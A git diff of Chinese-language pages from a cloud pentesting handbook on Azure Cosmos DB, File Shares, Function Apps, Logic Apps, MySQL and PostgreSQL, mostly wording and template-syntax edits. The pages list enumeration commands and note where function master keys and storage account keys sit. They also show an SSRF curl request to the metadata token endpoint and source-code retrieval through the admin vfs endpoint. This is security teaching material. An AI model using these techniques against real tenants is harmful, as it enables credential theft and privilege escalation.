container.create_item(item) print("Document inserted.") ``` -{% endcode %} - ### MongoDB -MongoDB NoSQL API 是一个基于文档的 API,使用类似 JSON 的 BSON(Binary JSON)作为其数据格式。它提供了具有聚合能力的查询语言,适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式: - -{% code overflow="wrap" %} +MongoDB NoSQL API 是一个基于文档的 API,使用类似 JSON 的 BSON(Binary JSON)作为其数据格式。它提供了具有聚合能力的查询语言,使其适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式: ```bash mongodb://:/ ``` -{% endcode %} - #### 数据库 在 MongoDB 中,您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组,并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据,例如用于不同的应用程序或项目。 @@ -206,9 +187,8 @@ MongoDB 中数据存储的核心单元是集合,它保存文档,并设计用 #### 枚举 -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # CosmoDB Account ## List Azure Cosmos DB database accounts. @@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name --resource # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.CosmosDB @@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGro Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} #### 连接 在这里,您可以通过密钥或在特权提升部分中描述的方法找到密码。 -{% code overflow="wrap" %} ```python from pymongo import MongoClient @@ -311,32 +287,30 @@ document = { result = collection.insert_one(document) print(f"Inserted document with ID: {result.inserted_id}") ``` -{% endcode %} - ## 参考文献 -* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) -* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) ## 权限提升 -{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} -[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-cosmosDB-privesc.md +{{#endref}} ## 后期利用 -{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} -[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-sql-post-exploitation.md +{{#endref}} ## 待办事项 * 这里的其余数据库,表,cassandra,gremlin... * 查看后期利用 "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" 和角色定义,因为这里可能存在权限提升 -* 查看恢复情况 +* 查看恢复 diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index 2c5720cb9..5f4be37c6 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -6,12 +6,12 @@ **Azure Files** 是一个完全托管的云文件存储服务,提供通过标准 **SMB (Server Message Block)** 和 **NFS (Network File System)** 协议访问的共享文件存储。尽管主要使用的协议是 SMB,但 NFS Azure 文件共享不支持 Windows(根据 [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol))。它允许您创建高度可用的网络文件共享,可以被多个虚拟机 (VM) 或本地系统同时访问,从而实现跨环境的无缝文件共享。 -### 访问层 +### 访问层级 - **事务优化**:针对事务密集型操作进行了优化。 - **热存储**:在事务和存储之间保持平衡。 -- **冷存储**:具有成本效益的存储。 -- **高级存储**:针对低延迟和 IOPS 密集型工作负载优化的高性能文件存储。 +- **冷存储**:在存储上具有成本效益。 +- **高级存储**:针对低延迟和 IOPS 密集型工作负载进行了优化的高性能文件存储。 ### 备份 @@ -30,8 +30,8 @@ ## 枚举 -{{#tabs}} -{{#tab name="az cli"}} +{{#tabs }} +{{#tab name="az" }} ```bash # Get storage accounts az storage account list #Get the account name from here @@ -58,9 +58,9 @@ az storage file list --account-name --share-name --snapshot # Download snapshot/backup az storage file download-batch -d . --account-name --source --snapshot ``` -{{#endtab}} +{{#endtab }} -{{#tab name="Az PowerShell"}} +{{#tab name="Az Powershell" }} ```bash Get-AzStorageAccount @@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "" -Context (New-AzStorageContext -StorageAccountName "" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "" -Name "" | Select-Object -ExpandProperty Value) -SnapshotTime "") ``` -{{#endtab}} -{{#endtabs}} +{{#endtab }} +{{#endtabs }} > [!NOTE] > 默认情况下,`az` cli 将使用帐户密钥来签名密钥并执行操作。要使用 Entra ID 主体权限,请使用参数 `--auth-mode login --enable-file-backup-request-intent`。 diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index 44339e650..16fdce46d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,31 +4,31 @@ ## 基本信息 -**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行小段代码,称为 **函数**,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务的事件**,如 Blob 存储或事件中心。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java,使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。 +**Azure Function Apps** 是一种 **无服务器计算服务**,允许您运行称为 **函数** 的小段代码,而无需管理底层基础设施。它们旨在响应各种触发器执行代码,例如 **HTTP 请求、定时器或来自其他 Azure 服务**(如 Blob 存储或事件中心)的事件。Function Apps 支持多种编程语言,包括 C#、Python、JavaScript 和 Java,使其在构建 **事件驱动应用程序**、自动化工作流或集成服务方面具有多功能性。它们具有成本效益,因为您通常只需为代码运行时使用的计算时间付费。 > [!NOTE] > 请注意,**Functions 是 App Services 的一个子集**,因此,这里讨论的许多功能也将被作为 Azure Apps 创建的应用程序使用(在 cli 中为 `webapp`)。 ### 不同计划 -- **灵活消费计划**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络** 和 **预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**。 -- **传统消费计划**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。 -- **高级计划**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**。 -- **专用计划**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**。 -- **容器应用**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**。 +- **Flex Consumption Plan**:提供 **动态、事件驱动的扩展**,采用按需付费定价,根据需求添加或删除函数实例。它支持 **虚拟网络** 和 **预配置实例** 以减少冷启动,使其适合 **不需要容器支持的可变工作负载**。 +- **Traditional Consumption Plan**:默认的无服务器选项,您 **仅在函数运行时为计算资源付费**。它根据传入事件自动扩展,并包括 **冷启动优化**,但不支持容器部署。适合需要自动扩展的 **间歇性工作负载**。 +- **Premium Plan**:旨在提供 **一致的性能**,具有 **预热工作者** 以消除冷启动。它提供 **延长的执行时间、虚拟网络**,并支持 **自定义 Linux 镜像**,非常适合需要高性能和高级功能的 **关键任务应用程序**。 +- **Dedicated Plan**:在专用虚拟机上运行,具有 **可预测的计费**,支持手动或自动扩展。它允许在同一计划上运行多个应用程序,提供 **计算隔离**,并通过应用服务环境确保 **安全网络访问**,非常适合需要一致资源分配的 **长时间运行的应用程序**。 +- **Container Apps**:允许在受管理的环境中部署 **容器化函数应用**,与微服务和 API 一起使用。它支持自定义库、遗留应用迁移和 **GPU 处理**,消除了 Kubernetes 集群管理。非常适合 **事件驱动、可扩展的容器化应用程序**。 ### **存储桶** -在创建一个新的非容器化的 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下,Web 控制台将为每个函数创建一个新的存储桶以存储代码。 +在创建一个未容器化的新 Function App 时(但提供要运行的代码),**代码和其他与函数相关的数据将存储在存储帐户中**。默认情况下,Web 控制台将为每个函数创建一个新的存储桶以存储代码。 -此外,修改存储桶中的代码(以不同格式存储),**应用的代码将被修改为新的代码,并在下次调用函数时执行**。 +此外,修改存储桶中的代码(以不同格式存储时),**应用的代码将被修改为新的代码,并在下次调用函数时执行**。 > [!CAUTION] > 从攻击者的角度来看,这非常有趣,因为 **对该存储桶的写入访问** 将允许攻击者 **破坏代码并提升权限** 到 Function App 内的托管身份。 > > 更多信息请参见 **权限提升部分**。 -还可以在存储帐户中找到存储在容器 **`azure-webjobs-secrets`** 中的 **主密钥和函数密钥**,在 **``** 文件夹中的 JSON 文件中可以找到。 +还可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **主密钥和函数密钥**,位于 **``** 文件夹中的 JSON 文件内。 请注意,Functions 还允许将代码存储在远程位置,只需指明其 URL。 @@ -40,13 +40,13 @@ - 还可以 **授予或限制** 从 **内部网络 (VPC)** 访问 Function App。 > [!CAUTION] -> 从攻击者的角度来看,这非常有趣,因为可能可以从暴露于互联网的脆弱函数 **转移到内部网络**。 +> 从攻击者的角度来看,这非常有趣,因为可能可以从暴露在互联网上的脆弱函数 **转移到内部网络**。 ### **Function App 设置和环境变量** -可以在应用内部配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。 +可以在应用内配置环境变量,这些变量可能包含敏感信息。此外,默认情况下会创建环境变量 **`AzureWebJobsStorage`** 和 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(以及其他变量)。这些变量特别有趣,因为它们 **包含控制存储帐户的帐户密钥,具有完全权限**,该存储帐户包含应用程序的数据。这些设置在从存储帐户执行代码时也很重要。 -这些环境变量或配置参数还控制函数如何执行代码,例如如果 **`WEBSITE_RUN_FROM_PACKAGE`** 存在,它将指示应用程序代码所在的 URL。 +这些环境变量或配置参数还控制函数如何执行代码,例如,如果存在 **`WEBSITE_RUN_FROM_PACKAGE`**,则会指示应用程序代码所在的 URL。 ### **Function 沙箱** @@ -56,16 +56,16 @@ ### **托管身份和元数据** -与 [**虚拟机**](vms/index.html) 一样,Functions 可以具有 **托管身份**,分为两种类型:系统分配和用户分配。 +与 [**VMs**](vms/index.html) 一样,Functions 可以具有 **托管身份**,分为两种类型:系统分配和用户分配。 **系统分配** 的身份将是一个托管身份,**只有分配了该身份的函数** 可以使用,而 **用户分配** 的托管身份是 **任何其他 Azure 服务都可以使用的托管身份**。 > [!NOTE] -> 与 [**虚拟机**](vms/index.html) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的托管身份,因此如果您妥协了该函数,始终重要的是尝试找到所有托管身份,因为您可能能够从一个函数提升到多个托管身份。 +> 与 [**VMs**](vms/index.html) 一样,Functions 可以具有 **1 个系统分配** 的托管身份和 **多个用户分配** 的身份,因此如果您破坏了函数,始终重要的是尝试找到所有身份,因为您可能能够从一个函数提升到多个托管身份。 > > 如果未使用系统托管身份,但一个或多个用户托管身份附加到函数,默认情况下您将无法获取任何令牌。 -可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取,如下所述: +可以使用 [**PEASS 脚本**](https://github.com/peass-ng/PEASS-ng) 从元数据端点获取默认托管身份的令牌。或者您可以 **手动** 获取它们,如下所述: {% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} @@ -76,7 +76,7 @@ > [!NOTE] > 请注意,没有 RBAC 权限可以授予用户调用函数的访问权限。**函数调用取决于创建时选择的触发器**,如果选择了 HTTP 触发器,可能需要使用 **访问密钥**。 -在使用 **HTTP 触发器** 创建函数内部的端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项: +在使用 **HTTP 触发器** 创建函数内的端点时,可以指明触发函数所需的 **访问密钥授权级别**。提供三种选项: - **ANONYMOUS**:**每个人**都可以通过 URL 访问该函数。 - **FUNCTION**:端点仅对使用 **函数、主机或主密钥** 的用户可访问。 @@ -87,7 +87,7 @@ - **函数密钥**:函数密钥可以是默认的或用户定义的,旨在仅授予对 Function App 中 **特定函数端点** 的访问权限,从而允许对端点进行更细粒度的访问。 - **主机密钥**:主机密钥也可以是默认的或用户定义的,提供对 Function App 中 **所有函数端点的访问,具有 FUNCTION 访问级别**。 - **主密钥**:主密钥(`_master`)作为管理密钥,提供提升的权限,包括对所有函数端点的访问(包括 ADMIN 访问级别)。此 **密钥无法被撤销**。 -- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可持久化函数,它们利用系统密钥与各自的 API 安全交互。 +- **系统密钥**:系统密钥由 **特定扩展管理**,并且在访问内部组件使用的 webhook 端点时是必需的。示例包括事件网格触发器和可耐久函数,它们利用系统密钥与各自的 API 安全交互。 > [!TIP] > 使用密钥访问函数 API 端点的示例: @@ -96,7 +96,7 @@ ### 基本身份验证 -与应用服务一样,Functions 也支持基本身份验证,以通过 **用户名和密码在 URL 中** 连接到 **SCM** 和 **FTP** 部署代码。有关更多信息,请参见: +与应用服务一样,Functions 也支持基本身份验证,以通过 **SCM** 和 **FTP** 连接以使用 **Azure 提供的 URL 中的用户名和密码** 部署代码。有关更多信息,请参见: {{#ref}} az-app-services.md @@ -192,22 +192,21 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ``` -此外,**托管身份**也会被创建,以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者** `https://token.actions.githubusercontent.com` 和**主题标识符** `repo:/:ref:refs/heads/`。 +此外,**托管身份**也会被创建,以便来自仓库的Github Action能够使用它登录到Azure。这是通过在**托管身份**上生成一个联邦凭证来完成的,允许**发行者**`https://token.actions.githubusercontent.com`和**主题标识符**`repo:/:ref:refs/heads/`。 > [!CAUTION] > 因此,任何妥协该仓库的人都将能够妥协该功能及其附加的托管身份。 ### 基于容器的部署 -并非所有计划都允许部署容器,但对于允许的计划,配置将包含容器的URL。在API中,**`linuxFxVersion`** 设置将类似于: `DOCKER|mcr.microsoft.com/...`,而在Web控制台中,配置将显示**镜像设置**。 +并非所有计划都允许部署容器,但对于允许的计划,配置将包含容器的URL。在API中,**`linuxFxVersion`**设置将类似于:`DOCKER|mcr.microsoft.com/...`,而在Web控制台中,配置将显示**镜像设置**。 此外,**不会在与该功能相关的存储**帐户中存储源代码,因为不需要。 ## 枚举 -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all the functions az functionapp list @@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.Functions @@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName -Name # Retrieves the app settings for a specific Azure Function App. Get-AzFunctionAppSetting -Name -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} + ## 权限提升 diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index 9c09f4f10..c3e4cbbb2 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -6,12 +6,12 @@ Azure Logic Apps 是微软 Azure 提供的基于云的服务,使开发人员能够 **创建和运行集成各种服务、数据源和应用程序的工作流**。这些工作流旨在 **自动化业务流程**、协调任务,并在不同平台之间执行数据集成。 -Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以为特定需求创建自定义连接器。 +Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建连接器** 创建工作流,这使得连接和与各种服务(如 Office 365、Dynamics CRM、Salesforce 等)进行交互变得简单。您还可以根据特定需求创建自定义连接器。 ### 示例 - **自动化数据管道**:Logic Apps 可以与 Azure Data Factory 结合自动化 **数据传输和转换过程**。这对于创建可扩展和可靠的数据管道非常有用,这些管道在各种数据存储之间移动和转换数据,如 Azure SQL 数据库和 Azure Blob 存储,帮助进行分析和商业智能操作。 -- **与 Azure Functions 集成**:Logic Apps 可以与 Azure Functions 一起工作,开发 **复杂的事件驱动应用程序,按需扩展**,并与其他 Azure 服务无缝集成。一个示例用例是使用 Logic App 在响应某些事件(如 Azure 存储帐户中的更改)时触发 Azure Function,从而实现动态数据处理。 +- **与 Azure Functions 集成**:Logic Apps 可以与 Azure Functions 一起工作,以开发 **复杂的事件驱动应用程序,按需扩展**,并与其他 Azure 服务无缝集成。一个示例用例是使用 Logic App 在响应某些事件(如 Azure 存储帐户中的更改)时触发 Azure Function,从而实现动态数据处理。 ### 可视化 LogicAPP @@ -25,27 +25,26 @@ Logic Apps 提供了一个可视化设计器,可以使用 **广泛的预构建 即使您发现 **Logic App 易受 SSRF 攻击**,也无法从元数据中访问凭据,因为 Logic Apps 不允许这样做。 -例如,类似这样的请求将不会返回令牌: +例如,像这样的请求不会返回令牌: ```bash # The URL belongs to a Logic App vulenrable to SSRF curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v ``` -### 托管选项 +### Hosting options 有几种托管选项: -* **消费** -- **多租户**:提供共享计算资源,运行在公共云中,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。 -* **标准** -- **工作流服务计划**:专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。 -- **应用服务环境 V3** 专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境内应用服务实例的定价模型。这非常适合需要高隔离的企业级应用程序。 -- **混合** 设计用于本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展(KEDA)。 +* **Consumption** +- **Multi-tenant**: 提供共享计算资源,运行在公共云中,并遵循按操作计费的定价模型。这非常适合轻量级和具有成本效益的工作负载。 +* **Standard** +- **Workflow Service Plan**: 专用计算资源,具有 VNET 集成用于网络,并按工作流服务计划实例收费。适合需要更大控制的更高要求的工作负载。 +- **App Service Environment V3** 专用计算资源,具有完全隔离和可扩展性。它还与 VNET 集成用于网络,并使用基于环境中 App Service 实例的定价模型。这非常适合需要高隔离的企业级应用程序。 +- **Hybrid** 设计用于本地处理和多云支持。它允许客户管理的计算资源具有本地网络访问,并利用 Kubernetes 事件驱动的自动扩展(KEDA)。 -### 枚举 +### Enumeration -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List az logic workflow list --resource-group @@ -108,11 +107,9 @@ az logicapp show --name --resource-group # List all application settings for a specific Logic App az logicapp config appsettings list --name --resource-group ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.LogicApp @@ -137,29 +134,27 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "" -LName Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name "" -TriggerName "" ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} -### 集成账户 -**集成账户**是 Azure Logic Apps 的一个功能。集成账户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成账户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件: +### 集成帐户 +**集成帐户**是 Azure Logic Apps 的一个功能。集成帐户用于通过启用高级 B2B 功能(如 EDI、AS2 和 XML 架构管理)来促进企业级集成。集成帐户是 Azure 中的一个容器,用于存储 Logic Apps 使用的以下工件: -* 架构:管理 XML 架构以验证和处理集成账户中的消息。 +* 架构:管理 XML 架构以验证和处理集成帐户中的消息。 * 映射:配置基于 XSLT 的转换,以在集成工作流中转换数据格式。 -* 程序集:管理集成账户程序集,以简化逻辑和数据处理。 +* 程序集:管理集成帐户程序集,以简化逻辑和数据处理。 * 证书:处理用于加密和签名消息的证书,确保安全通信。 -* 伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。 +* 合作伙伴:管理 B2B 交易的交易伙伴信息,实现无缝集成。 * 协议:配置与交易伙伴交换数据的规则和设置(例如,EDI、AS2)。 * 批处理配置:管理批处理配置,以高效地分组和处理消息。 -* RosettaNet PIP:配置 RosettaNet 伙伴接口流程(PIPs),以标准化 B2B 通信。 +* RosettaNet PIP:配置 RosettaNet 合作伙伴接口流程(PIPs),以标准化 B2B 通信。 #### 枚举 -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # Integration account az logic integration-account list --resource-group @@ -219,11 +214,9 @@ az logic integration-account assembly show \ ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```powershell Get-Command -Module Az.LogicApp @@ -254,23 +247,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName -Integr # Retrieve details of a specific schema in an integration account Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ## 权限提升 与逻辑应用权限提升相同: -{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} -[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-logic-apps-privesc.md +{{#endref}} ## 后期利用 -{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} -[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-logic-apps-post-exploitation.md +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index e48b0e48d..a7a87f473 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -23,9 +23,8 @@ Azure Database for MySQL 是一个完全托管的关系数据库服务,基于 ### 枚举 -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List all flexible-servers az mysql flexible-server db list --resource-group @@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group az mysql flexible-server server-logs list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.MySql @@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### 连接 使用扩展 rdbms-connect,您可以通过以下方式访问数据库: - -{% code overflow="wrap" %} ```bash az mysql flexible-server connect -n -u -p --interactive @@ -116,17 +110,11 @@ az mysql flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - -或者使用 MySQL 原生扩展插件 -{% code overflow="wrap" %} +或使用 MySQL 原生扩展插件 ```bash mysql -h .mysql.database.azure.com -P 3306 -u -p ``` -{% endcode %} - -此外,您还可以使用 GitHub 执行查询,但也需要密码和用户名。您需要设置一个包含要运行的查询的 SQL 文件,然后: -{% code overflow="wrap" %} +您还可以使用 GitHub 执行查询,但也需要密码和用户名。您需要设置一个包含要运行的查询的 SQL 文件,然后: ```bash # Setup az mysql flexible-server deploy setup \ @@ -145,23 +133,21 @@ az mysql flexible-server deploy run \ --action-name \ --branch ``` -{% endcode %} - ## 权限提升 -{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} -[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) -{% endcontent-ref %} +{{#ref}} +../az-privilege-escalation/az-mysql-privesc.md +{{#endref}} ## 后期利用 -{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} -[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) -{% endcontent-ref %} +{{#ref}} +../az-post-exploitation/az-mysql-post-exploitation.md +{{#endref}} ## 待办事项 -* 寻找一种方法以 mysql flexible-server ad-admin 访问,以验证这是一种权限提升方法 +* 寻找一种方法,通过 mysql flexible-server ad-admin 访问,以验证这是一种权限提升方法 diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 1b60c9a53..b9304cd78 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -22,13 +22,12 @@ * **停止/启动服务器**:用户可以停止和启动服务器。 * **自动备份**:内置每日备份,保留期可配置最长达 35 天。 * **基于角色的访问**:通过 Azure Active Directory 控制用户权限和管理访问。 -* **安全性和网络**:可以管理服务器防火墙规则以确保数据库访问安全,并根据需要分离虚拟网络配置。 +* **安全性和网络**:可以管理服务器防火墙规则以确保安全的数据库访问,并根据需要分离虚拟网络配置。 ### 枚举 -{% tabs %} -{% tab title="az cli" %} -{% code overflow="wrap" %} +{{#tabs }} +{{#tab name="az cli" }} ```bash # List servers in a resource group az postgres flexible-server list --resource-group @@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group --server-name ``` -{% endcode %} -{% endtab %} +{{#endtab }} -{% tab title="Az PowerShell" %} -{% code overflow="wrap" %} +{{#tab name="Az Powershell" }} ```bash Get-Command -Module Az.PostgreSql @@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location Get-AzPostgreSqlServer -ResourceGroupName ``` -{% endcode %} -{% endtab %} -{% endtabs %} +{{#endtab }} +{{#endtabs }} ### 连接 使用扩展 rdbms-connect,您可以通过以下方式访问数据库: - -{% code overflow="wrap" %} ```bash az postgres flexible-server connect -n -u -p --interactive @@ -112,36 +106,31 @@ az postgres flexible-server execute \ --querytext "SELECT * FROM ;" ``` -{% endcode %} - 或 -{% code overflow="wrap" %} ```bash psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U 